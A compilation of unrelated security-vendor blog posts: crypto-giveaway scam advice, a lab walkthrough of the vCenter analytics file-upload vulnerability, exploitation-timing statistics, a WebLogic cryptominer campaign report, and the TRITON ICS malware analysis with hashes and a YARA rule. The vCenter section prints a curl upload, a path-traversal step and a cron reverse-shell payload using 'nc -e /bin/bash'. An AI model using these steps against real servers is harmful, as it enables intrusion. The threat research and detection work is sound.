Bona fide promotional giveaways tend to be reserved for early investors; Pay attention to the criteria.
If a message about a prize or a giveaway contains a condition you have not fulfilled, then even if the promotion is real, you still won’t be eligible;
Consult Claimable if you have any doubts.
It’s a free service that lets you check whether you can claim a prize and requires only the public key for your cryptowallet, no confidential data; Check on official websites to see if a particular promotion is actually running; Add the websites you use to your bookmarks and visit them from there; do not follow links in messages or e-mails; Read the terms of use of the services, paying attention to which data they might request from you and which they won’t.
VMware vCenter server is a centralised management utility used for managing multiple ESXi hosts, virtual machines and all their dependent components.
An arbitrary file upload vulnerability has recently been discovered in the Analytics service of VMware vCen t er Server.
V M ware has confirmed that this vulnerability is being actively exploited in the wild and CVE-2021-2205 has been assigned to it.
More details about this vulnerability and various affected versions can be found at NVD .
This blog examines how th is vulnera bility can be exploited in the unpatched vCenter Server 7.0.
Vulnerability Details In our lab, we have locally setup vCenter 7.0 build 17920168 to test the attack scenario.
The Customer Experience Improvement Program (CEIP) enables VMware to collect user usage statistics to improve their product and provide better user support.
Some of these statistics are: Configuration Data Feature Usage Data Performance Data Product Log Data Use rs can opt in or out of CEIP from vCenter’s vSphere Client: VMware CEIP First, we determined how this telemetry data is collected and stored by VMware server.
By taking a look at its various configurations, Juniper Threat Labs found analytics proxy.conf that defines several API calls specific to telemetry, as shown below: /analytics/telemetry/ph/api/hyper/send /analytics/telemetry/ph/api/level VMware analytics API configuration We also observe d that l ocal and 15080 is configured which should indicate hostname and port used for these APIs.
We can see that a service called vmware -analytics is running over tcp port 15080 : vmware-analytics running over port 15080 The API in use is confirmed when we perform network capture on port 15080.
POST request is sent to “ /analytics/telemetry/ph/api/hyper/send” .
The query parameters “ _c” and “ _i” defines the filename for the log collected in JSON format wherein the filename is in following format: _c< value of parameter _c
>_
i< value of parameter _
i >.json
Result of tcpdump on port 15080 Looking at the logs, we can see that the file is created under folder “ / var/log/ vmware /analytics/pro d” , with the body of POST request appended to it: File created An arbitrary file upload vulnerability exists in vulnerable versions of VMware vCenter.
Any user with web access to vCenter server can make use of the analytics endpoints to create arbitrary files at any directory of their choice.
A remote unauthenticated user can create a specially crafted request with malicious code embedded in it that can lead to directory traversal and remote code execution.
As an example, following curl request can create a file “ _c_itest.json” with content “ Example” in location “ /var/log/vmware/analytics/prod/” : curl -kv “https://<vCenter-Server-ip>/analytics/telemetry/ph/api/hyper/send?_c&_i=test”
-d “Example” -H “Content-Type: application/json” S teps to recreate attack scenario Create a directory with a test file.
Testing creation of directory and file File 1234.json created As we can see filename “ 1234.json” is created inside folder “ _ c_i” .
Create a file in “/ tmp” to check for directory traversal Testing directory traversal Folder “ _ c_i” that was created in previous step is important to perform directory traversal , because the process will look for “_ c_i /.. /.. /.. /.. /.. /.. / tmp /” folder before writing the file “ test2.json” at destination location:
File created in /tmp
by directory traversal R emote C ode E xecution To achieve remote code execution and obtain a reverse shell, the following steps can be taken: On the victim’s server, create a cron job at “ /etc/cron.d/” using directory traversal.
Provide the appropriate payload to attain reverse shell as body of request.
On attacker machine, use nc to listen on port where we expect to get reverse shell from vCenter server.
Let us first creat e a c ro n job file at “ / etc / cron.d /” to run as file owner and provide reverse shell.
Here the reverse shell payload used is: ***** root nc –e /bin/bash 192.168.1.2 4444 This payload when written to file reverse .json at “ / etc / cron.d /” would run the nc –e /bin/bash 192.168.1.2 4444 command every minute.
Creating cron job to obtain reverse shell cron job created at /etc/cron.d
Once the file is created as expected, we would receive a reverse shell from vCenter server at port 4444 as seen below: Reverse shell obtained from vCenter server Remediation and Conclusion Juniper Networks’ SRX Series Next-Generation Firewall (NGFW) customers with an IDP license are protected against this vulnerability using the signature : HTTP:
CTS:
VCNTR-ANALYTCS-AFU
The signature is released as part of export number 3422 and is part of recommended template.
At the same time, all customers are recommended to update to latest stable version of vCenter as per the advisory released by VMware.
One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk.
In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.
Check out our first post on zero-day vulnerabilities .
Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond.
FireEye
Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.
Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019.
The majority of vulnerabilities were exploited as zero-days – before a patch was available.
More than a quarter were exploited within one month after the patch date.
Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.
We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date.
Frequently, first exploitation dates are not publicly disclosed.
It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.
Figure 2:
Time between vulnerability exploitation and patch issuance ­­­ Time Between Disclosure and Patch Release
The average time between disclosure and patch availability was approximately 9 days.
This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019.
The majority of these vulnerabilities, however, were patched quickly after disclosure.
In 59% of cases, a patch was released on the same day the vulnerability was disclosed.
These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.
Exploitation After Patch Release While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released.
For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation.
Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.
Time to Exploit for Vulnerabilities First Exploited after a Patch Hours Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602.
Days 12 percent of vulnerabilities were exploited within the first week following the patch release.
One Month 15 percent of vulnerabilities were exploited after one week but within one month of patch release.
Years In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.
Table 1:
Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure Case Studies We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations.
The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns.
Successful operations by these types of groups are likely to have a high potential impact.
Figure 3: Timeline of activity for CVE-2018-15982 CVE-2018-15982:
A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code.
This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.
Figure 4:
Timeline of activity for CVE-2018-20250 CVE-2018-20250:
A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code.
This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.
Figure 5: Timeline of Activity for CVE-2018-4878 CVE-2018-4878:
A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code.
Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017.
Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.
Availability of PoC or Exploit Code The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation.
However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction.
For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers.
There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).
Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events Product CVE FireEye Risk Rating 1 day WinRAR CVE-2018-20250 Medium 1 day Drupal CVE-2018-7600
High 1 day Cisco Adaptive Security Appliance CVE-2018-0296 Medium 2 days Apache Struts CVE-2018-11776 High 2 days Cisco Adaptive Security Appliance CVE-2018-0101 High 2 days
Oracle WebLogic Server CVE-2018-2893 High 2 days
Microsoft Windows Server CVE-2018-8440
Medium 2 days Drupal CVE-2019-6340 Medium 2 days Atlassian Confluence CVE-2019-3396 High Table 2:
Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019 Trends by Targeted Products FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations.
For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6).
Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.
The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings.
In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.
Figure 6:
Exploited vulnerabilities by vendor, Q1 2018–Q3 2019 Outlook and Implications
The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible.
With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities.
In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.
We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.
Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.
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Introduction FireEye researchers recently observed threat actors abusing CVE-2017-10271 to deliver various cryptocurrency miners.
CVE-2017-10271 is a known input validation vulnerability that exists in the WebLogic Server Security Service (WLS Security) in Oracle WebLogic Server versions 12.2.1.2.0 and prior, and attackers can exploit it to remotely execute arbitrary code.
Oracle released a Critical Patch Update that reportedly fixes this vulnerability.
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors.
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017.
Attackers then leveraged this vulnerability to download cryptocurrency miners in victim environments.
We saw evidence of organizations located in various countries – including the United States, Australia, Hong Kong, United Kingdom, India, Malaysia, and Spain, as well as those from nearly every industry vertical – being impacted by this activity.
Actors involved in cryptocurrency mining operations mainly exploit opportunistic targets rather than specific organizations.
This coupled with the diversity of organizations potentially affected by this activity suggests that the external targeting calculus of these attacks is indiscriminate in nature.
The recent cryptocurrency boom has resulted in a growing number of operations – employing diverse tactics – aimed at stealing cryptocurrencies.
The idea that these cryptocurrency mining operations are less risky, along with the potentially nice profits, could lead cyber criminals to begin shifting away from ransomware campaigns.
Tactic #1: Delivering the miner directly to a vulnerable server Some tactics we've observed involve exploiting CVE-2017-10271, leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1), and executing it using ShellExecute().
Figure 1: Downloading the payload directly Tactic #2: Utilizing PowerShell scripts to deliver the miner Other tactics involve the exploit delivering a PowerShell script, instead of downloading the executable directly (Figure 2).
Figure 2:
Exploit delivering PowerShell script This script has the following functionalities: Downloading miners from remote servers Figure 3: Downloading cryptominers As shown in Figure 3, the .ps1 script tries to download the payload from the remote server to a vulnerable server.
Creating scheduled tasks for persistence Figure 4:
Creation of scheduled task Deleting scheduled tasks of other known cryptominers Figure 5: Deletion of scheduled tasks related to other miners In Figure 4, the cryptominer creates a scheduled task with name “ Update service for Oracle products1 ”.
In Figure 5, a different variant deletes this task and other similar tasks after creating its own, “ Update service for Oracle productsa ”.
From this, it’s quite clear that different attackers are fighting over the resources available in the system.
Killing processes matching certain strings associated with other cryptominers Figure 6: Terminating processes directly Figure 7:
Terminating processes matching certain strings Similar to scheduled tasks deletion, certain known mining processes are also terminated (Figure 6 and Figure 7).
Connects to mining pools with wallet key Figure 8:
Connection to mining pools The miner is then executed with different flags to connect to mining pools (Figure 8).
Some of the other observed flags are: -a for algorithm, -k for keepalive to prevent timeout, -o for URL of mining server, -u for wallet key, -p for password of mining server, and -t for limiting the number of miner threads.
Limiting CPU usage to avoid suspicion Figure 9: Limiting CPU Usage To avoid suspicion, some attackers are limiting the CPU usage of the miner (Figure 9).
Tactic #3: Lateral movement across Windows environments using Mimikatz and EternalBlue
Some tactics involve spreading laterally across a victim’s environment using dumped Windows credentials and the EternalBlue vulnerability ( CVE-2017-0144 ).
The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server.
It looks at every network adapter, aggregating all destination IPs of established non-loopback network connections.
Every IP address is then tested with extracted credentials and a credential-based execution of PowerShell is attempted that downloads and executes the malware from the C2 server on the target machine.
This variant maintains persistence via WMI (Windows Management Instrumentation).
The malware also has the capability to perform a Pass-the-Hash attack with the NTLM information derived from Mimikatz in order to download and execute the malware in remote systems.
Additionally, the malware exfiltrates stolen credentials to the attacker via an HTTP GET request to: 'http://<C2>:8000/api.php?data=<credential data>'.
If the lateral movement with credentials fails, then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue, and uses it to spread to that host.
After all network derived IPs have been processed, the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host.
Tactic #4: Scenarios observed in Linux OS We’ve also observed this vulnerability being exploited to deliver shell scripts (Figure 10) that have functionality similar to the PowerShell scripts.
Figure 10:
Delivery of shell scripts The shell script performs the following activities:
Attempts to kill already running cryptominers Figure 11: Terminating processes matching certain strings Downloads and executes cryptominer malware Figure 12: Downloading CryptoMiner Creates a cron job to maintain persistence Figure 13: Cron job for persistence Tries to kill other potential miners to hog the CPU usage Figure 14: Terminating other potential miners The function shown in Figure 14 is used to find processes that have high CPU usage and terminate them.
This terminates other potential miners and maximizes the utilization of resources.
Conclusion Use of cryptocurrency mining malware is a popular tactic leveraged by financially-motivated cyber criminals to make money from victims.
We’ve observed one threat actor mining around 1 XMR/day, demonstrating the potential profitability and reason behind the recent rise in such attacks.
Additionally, these operations may be perceived as less risky when compared to ransomware operations, since victims may not even know the activity is occurring beyond the slowdown in system performance.
Notably, cryptocurrency mining malware is being distributed using various tactics, typically in an opportunistic and indiscriminate manner so cyber criminals will maximize their outreach and profits.
FireEye HX, being a behavior-based solution, is not affected by cryptominer tricks.
FireEye HX detects these threats at the initial level of the attack cycle, when the attackers attempt to deliver the first stage payload or when the miner tries to connect to mining pools.
At the time of writing, FireEye HX detects this activity with the following indicators: Detection Name POWERSHELL DOWNLOADER (METHODOLOGY) MONERO MINER (METHODOLOGY)
MIMIKATZ (CREDENTIAL STEALER) Indicators of Compromise MD5 Name 3421A769308D39D4E9C7E8CAECAF7FC4 cranberry.exe/logic.exe B3A831BFA590274902C77B6C7D4C31AE xmrig.exe/yam.exe 26404FEDE71F3F713175A3A3CEBC619B 1.ps1 D3D10FAA69A10AC754E3B7DDE9178C22 2.ps1 9C91B5CF6ECED54ABB82D1050C5893F2 info3.ps1 3AAD3FABF29F9DF65DCBD0F308FF0FA8 info6.ps1 933633F2ACFC5909C83F5C73B6FC97CC lower.css B47DAF937897043745DF81F32B9D7565 lib.css 3542AC729035C0F3DB186DDF2178B6A0 bootstrap.css Thanks to Dileep Kumar Jallepalli and Charles Carmakal for their help in the analysis.
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Introduction Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to manipulate industrial safety systems.
The targeted systems provided emergency shutdown capability for industrial processes.
We assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown operations.
This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers.
We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack.
TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS) .
It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.
TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function, resulting in a physical consequence.
Malware Family Main Modules Description TRITON trilog.exe
Main executable leveraging libraries.zip library.zip Custom communication library for interaction with Triconex controllers.
Table 1: Description of
TRITON Malware Incident Summary
The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers.
During the incident, some SIS controllers entered a failed safe state, which automatically shutdown the industrial process and prompted the asset owner to initiate an investigation.
The investigation found that the SIS controllers initiated a safe shutdown when application code between redundant processing units failed a validation check -- resulting in an MP diagnostic failure message.
We assess with moderate confidence that the attacker inadvertently shutdown operations while developing the ability to cause physical damage for the following reasons: Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of a failure that would result in physical consequences.
TRITON was used to modify application memory on SIS controllers in the environment, which could have led to a failed validation check.
The failure occurred during the time period when TRITON was used.
It is not likely that existing or external conditions, in isolation, caused a fault during the time of the incident.
Attribution FireEye has not connected this activity to any actor we currently track; however, we assess with moderate confidence that the actor is sponsored by a nation state.
The targeting of critical infrastructure as well as the attacker’s persistence, lack of any clear monetary goal and the technical resources necessary to create the attack framework suggest a well-resourced nation state actor.
Specifically, the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences.
This is an attack objective not typically seen from cyber-crime groups.
The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available.
TRITON is also designed to communicate using the proprietary TriStation protocol which is not publicly documented suggesting the adversary independently reverse engineered this protocol.
The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North Korean, U.S., and Israeli nation state actors.
Intrusions of this nature do not necessarily indicate an immediate intent to disrupt targeted systems, and may be preparation for a contingency.
Background on Process Control and Safety Instrumented Systems Figure 1: ICS Reference Architecture Modern industrial process control and automation systems rely on a variety of sophisticated control systems and safety functions.
These systems and functions are often referred to as Industrial Control Systems (ICS) or Operational Technology (OT).
A Distributed Control System (DCS) provides human operators with the ability to remotely monitor and control an industrial process.
It is a computerized control system consisting of computers, software applications and controllers.
An Engineering Workstation is a computer used for configuration, maintenance and diagnostics of the control system applications and other control system equipment.
A SIS is an autonomous control system that independently monitors the status of the process under control.
If the process exceeds the parameters that define a hazardous state, the SIS attempts to bring the process back into a safe state or automatically performs a safe shutdown of the process.
If the SIS and DCS controls fail, the final line of defense is the design of the industrial facility, which includes mechanical protections on equipment (e.g.
rupture discs), physical alarms, emergency response procedures and other mechanisms to mitigate dangerous situations.
Asset owners employ varied approaches to interface their plant's DCS with the SIS.
The traditional approach relies on the principles of segregation for both communication infrastructures and control strategies.
For at least the past decade, there has been a trend towards integrating DCS and SIS designs for various reasons including lower cost, ease of use, and benefits achieved from exchanging information between the DCS and SIS.
We believe TRITON acutely demonstrates the risk associated with integrated designs that allow bi-directional communication between DCS and SIS network hosts.
Safety Instrumented Systems Threat Model and Attack Scenarios Figure 2: Temporal Relationship Between Cyber Security and Safety The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks, with a few key distinctions.
First, the attacker’s mission is to disrupt an operational process rather than steal data.
Second, the attacker must have performed OT reconnaissance and have sufficient specialized engineering knowledge to understand the industrial process being controlled and successfully manipulate it.
Figure 2 represents the relationship between cyber security and safety controls in a process control environment.
Even if cyber security measures fail, safety controls are designed to prevent physical damage.
To maximize physical impact, a cyber attacker would also need to bypass safety controls.
The SIS threat model below highlights some of the options available to an attacker who has successfully compromised an SIS.
Attack Option 1: Use the SIS to shutdown the process The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state.
In other words, trigger a false positive.
Implication: Financial losses due to process downtime and complex plant start up procedure after the shutdown.
Attack Option 2: Reprogram the SIS to allow an unsafe state The attacker can reprogram the SIS logic to allow unsafe conditions to persist.
Implication: Increased risk that a hazardous situation will cause physical consequences (e.g.
impact to equipment, product, environment and human safety) due to a loss of SIS functionality.
Attack Option 3: Reprogram the SIS to allow an unsafe state – while using the DCS to create an unsafe state or hazard The attacker can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately.
Implication: Impact to human safety, the environment, or damage to equipment, the extent of which depends on the physical constraints of the process and the plant design.
Analysis of Attacker Intent We assess with moderate confidence that the attacker’s long-term objective was to develop the capability to cause a physical consequence.
We base this on the fact that the attacker initially obtained a reliable foothold on the DCS and could have developed the capability to manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS system.
Compromising both the DCS and SIS system would enable the attacker to develop and carry out an attack that causes the maximum amount of damage allowed by the physical and mechanical safeguards in place.
Once on the SIS network, the attacker used their pre-built TRITON attack framework to interact with the SIS controllers using the TriStation protocol.
The attacker could have caused a process shutdown by issuing a halt command or intentionally uploading flawed code to the SIS controller to cause it to fail.
Instead, the attacker made several attempts over a period of time to develop and deliver functioning control logic for the SIS controllers in this target environment.
While these attempts appear to have failed due one of the attack scripts’ conditional checks, the attacker persisted with their efforts.
This suggests the attacker was intent on causing a specific outcome beyond a process shutdown.
Of note, on several occasions, we have observed evidence of long term intrusions into ICS which were not ultimately used to disrupt or disable operations.
For instance, Russian operators, such as Sandworm Team, have compromised Western ICS over a multi-year period without causing a disruption.
Summary of Malware Capabilities The TRITON attack tool was built with a number of features, including the ability to read and write programs, read and write individual functions and query the state of the SIS controller.
However, only some of these capabilities were leveraged in the trilog.exe sample (e.g.
the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities).
The TRITON malware contained the capability to communicate with Triconex SIS controllers (e.g.
send specific commands such as halt or read its memory content) and remotely reprogram them with an attacker-defined payload.
The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller.
This sample left legitimate programs in place, expecting the controller to continue operating without a fault or exception.
If the controller failed, TRITON would attempt to return it to a running state.
If the controller did not recover within a defined time window, this sample would overwrite the malicious program with invalid data to cover its tracks.
Recommendations Asset owners who wish to defend against the capabilities demonstrated in the incident, should consider the following controls: Where technically feasible, segregate safety system networks from process control and information system networks.
Engineering workstations capable of programming SIS controllers should not be dual-homed to any other DCS process control or information system network.
Leverage hardware features that provide for physical control of the ability to program safety controllers.
These usually take the form of switches controlled by a physical key.
On Triconex controllers, keys should not be left in the PROGRAM mode other than during scheduled programming events.
Implement change management procedures for changes to key position.
Audit current key state regularly.
Use a unidirectional gateway rather than bidirectional network connections for any applications that depend on the data provided by the SIS.
Implement strict access control and application whitelisting on any server or workstation endpoints that can reach the SIS system over TCP/IP.
Monitor ICS network traffic for unexpected communication flows and other anomalous activity.
Figure 3:
Triconex Key Switch ( source ) Appendix: Technical Analysis Figure 4: TRITON Architecture and Attack Scenario TRITON was deployed on an SIS engineering workstation running the Microsoft Windows operating system.
The malware was named to masquerade as the legitimate Triconex Trilog application.
This application is used for reviewing logs and is a part of the TriStation application suite.
The malware was delivered as a Py2EXE compiled python script dependent on a zip file containing standard Python libraries, open source libraries, as well as the attacker-developed Triconex attack framework for interacting with the Triconex controllers.
Along with the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious control logic) , were deployed as the controller’s payload.
These file names were hard coded in the Py2EXE compiled python script.
Trilog.exe took one option from the command line, which was a single IP address of the target Triconex device.
It did not leverage the underlying TRITON library’s capability for Triconex device discovery, instead an instance of trilog.exe had to be invoked separately for each target controller in the environment.
Once invoked, trilog.exe checked the status of the controller, then read the configuration information exposed by the TriStation protocol.
If the controller was in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed them to the communication libraries to be appended to the controller’s program memory and execution table.
After payload files were inserted into memory on the Triconex controller, the script initiated a countdown, periodically checking the status of the controller.
If an error was detected, the communication library’s method SafeAppendProgramMod attempted to reset the controller to the previous state using a TriStation protocol command.
If this failed, trilog.exe attempted to write a small ‘dummy’ program to memory.
We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller.
Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid Triconex controller and discovered a conditional check in the malware that prevented the payload binary from persisting in the environment.
Mandiant confirmed that, after correcting patching the attack script to remove this check, the payload binary would persist in controller memory, and the controller would continue to run.
TRITON implements the TriStation protocol, which is the protocol used by the legitimate TriStation application, to configure controllers.
TsHi is the high-level interface created by the malware’s authors that allows the threat actor’s operators to implement attack scripts using the TRITON framework.
It exposes functions for both reconnaissance and attack.
The functions generally accept binary data from the user, and handle the code ‘signing’ and check sums prior to passing the data to lower level libraries for serialization on to the network.
TsBase , another attacker-written module, contains the functions called by TsHi , which translate the attacker’s intended action to the appropriate TriStation protocol function code.
For certain functions, it also packs and pads the data in to the appropriate format.
TsLow is an additional attacker module that implements the TriStation UDP wire protocol.
The TsBase library primarily depends on the ts_exec method.
This method takes the function code and expected response code, and serializes the commands payload over UDP.
It checks the response from the controller against the expected value and returns a result data structure indicating success or a False object representing failure.
TsLow also exposes the connect method used to check connectivity to the target controller.
If invoked with no targets, it runs the device discovery function detect_ip.
This leverages a \"ping\" message over the TriStation protocol using IP broadcast to find controllers that are reachable via a router from where the script is invoked.
Indicators Filename Hash trilog.exe MD5: 6c39c3f4a08d3d78f2eb973a94bd7718 SHA-256:
e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230 imain.bin MD5: 437f135ba179959a580412e564d3107f SHA-256: 08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949
inject.bin MD5: 0544d425c7555dc4e9d76b571f31f500 SHA-256: 5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14 library.zip MD5: 0face841f7b2953e7c29c064d6886523 SHA-256: bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59 TS_cnames.pyc MD5: e98f4f3505f05bf90e17554fbc97bba9 SHA-256: 2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326 TsBase.pyc MD5: 288166952f934146be172f6353e9a1f5 SHA-256: 1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42 TsHi.pyc MD5: 27c69aa39024d21ea109cc9c9d944a04 SHA-256: 758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272
TsLow.pyc MD5: f6b3a73c8c87506acda430671360ce15 SHA-256: 5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32 sh.pyc MD5: 8b675db417cc8b23f4c43f3de5c83438 SHA-256: c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1 Detection rule TRITON_ICS_FRAMEWORK { meta: author = \"nicholas.carr @itsreallynick\" md5 = \"0face841f7b2953e7c29c064d6886523\" description = \"TRITON framework recovered during Mandiant ICS incident response\" strings: $python_compiled = \".pyc\" nocase ascii wide $python_module_01 = \"__module__\" nocase ascii wide $python_module_02 = \"<module>\" nocase ascii wide $python_script_01 = \"import Ts\" nocase ascii wide $python_script_02 = \"def ts_\" nocase ascii wide $py_cnames_01 = \"TS_cnames.py\" nocase ascii wide $py_cnames_02 = \"TRICON\" nocase ascii wide $py_cnames_03 =
\"TriStation \" nocase ascii wide $py_cnames_04 = \" chassis \" nocase ascii wide $py_tslibs_01 = \"GetCpStatus\" nocase ascii wide $py_tslibs_02 = \"ts_\" ascii wide $py_tslibs_03 = \" sequence\" nocase ascii wide $py_tslibs_04 = /import
Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide $py_tslibs_05 = /module\\s?version/
nocase ascii wide $py_tslibs_06 = \"bad \" nocase ascii wide $py_tslibs_07 = \"prog_cnt\" nocase ascii wide $py_tsbase_01 = \"TsBase.py\" nocase ascii wide $py_tsbase_02 = \".
TsBase(\" nocase ascii wide $py_tshi_01 = \"TsHi.py\" nocase ascii wide $py_tshi_02 = \"keystate\" nocase ascii wide $py_tshi_03 = \"GetProjectInfo\" nocase ascii wide $py_tshi_04 =
\"GetProgramTable\" nocase ascii wide $py_tshi_05 = \"SafeAppendProgramMod\
" nocase ascii wide $py_tshi_06 = \".
TsHi(\" ascii nocase wide $py_tslow_01 = \"TsLow.py\" nocase ascii wide $py_tslow_02 = \"print_last_error\" ascii nocase wide $py_tslow_03 = \".
TsLow(\" ascii nocase wide $py_tslow_04 =
\"tcm_\" ascii wide $py_tslow_05 = \" TCM found\" nocase ascii wide $py_crc_01 = \"crc.pyc\" nocase ascii wide $py_crc_02 = \"CRC16_MODBUS\" ascii wide $py_crc_03 = \"Kotov
Alaxander\" nocase ascii wide $py_crc_04 =
\"CRC_CCITT_XMODEM\" ascii wide $py_crc_05 =
\"crc16ret\" ascii wide $py_crc_06 = \"CRC16_CCITT_x1D0F\
" ascii wide $py_crc_07 = /CRC16_CCITT[^_]/
ascii wide $py_sh_01 = \"sh.pyc\" nocase ascii wide $py_keyword_01 = \" FAILURE\" ascii wide $py_keyword_02 = \"symbol table\" nocase ascii wide $py_TRIDENT_01 =
\"inject.bin\" ascii nocase wide $py_TRIDENT_02 = \"imain.bin\" ascii nocase wide condition: 2 of ($python_*) and 7 of ($py_*) and filesize < 3MB } Subscribe to Blogs Get email updates as new blog posts are added.
FireEye has just released its 2013 Advanced Threat Report (ATR), which provides a high-level overview of the computer network attacks that FireEye discovered last year.
In this ATR, we focused almost exclusively on a small, but very important subset of our overall data analysis – the advanced persistent threat (APT).
